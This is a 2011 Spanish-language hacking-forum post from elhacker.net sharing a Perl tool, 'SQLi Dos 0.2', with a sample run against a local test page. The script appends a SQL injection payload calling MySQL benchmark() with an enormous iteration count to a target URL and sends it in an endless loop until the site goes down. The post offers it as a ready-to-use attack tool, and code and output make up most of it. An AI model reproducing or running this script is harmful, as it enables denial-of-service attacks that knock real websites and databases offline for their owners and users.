elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] SQLi Dos 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] SQLi Dos 0.2  (Leído 1,832 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] SQLi Dos 0.2
« en: 7 Octubre 2011, 01:12 am »

El mismo Dos para SQLi per esta vez usando benchmark()

Código
  1. #!usr/bin/perl
  2. #SQLi Dos 0.2 (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. print "\n[+] Target : ".$_[0]."\n";
  20. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
  24. unless($code->is_success) {
  25. print "[+] Web Off\n";
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. print "\n[+] Stoping attack\n";
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. print "\n\n-- == SQLI Dos 0.2 == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  40. exit(1);
  41. }
  42.  
  43. sub sintax {
  44. print "\n[+] Sintax : $0 <page>\n";
  45. }
  46.  
  47. sub toma {
  48. return $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ?

Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack

[+] Web Off


-- == (C) Doddy Hackman 2011 == --



« Última modificación: 8 Octubre 2011, 18:57 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
SQLI en MS Acces
Nivel Web
Nork 3 2,930 Último mensaje 4 Mayo 2009, 13:48 pm
por Nork
GiE 4.8 - SQLi
Nivel Web
Pony-Magic 4 6,596 Último mensaje 17 Diciembre 2010, 14:37 pm
por xassiz~
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,831 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Perl] SQLi DOS 0.1
Scripting
BigBear 0 1,334 Último mensaje 7 Octubre 2011, 01:13 am
por BigBear
[Perl] Search in google for scan SQLI
Scripting
BigBear 1 2,436 Último mensaje 4 Noviembre 2011, 17:48 pm
por BiteAciD
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines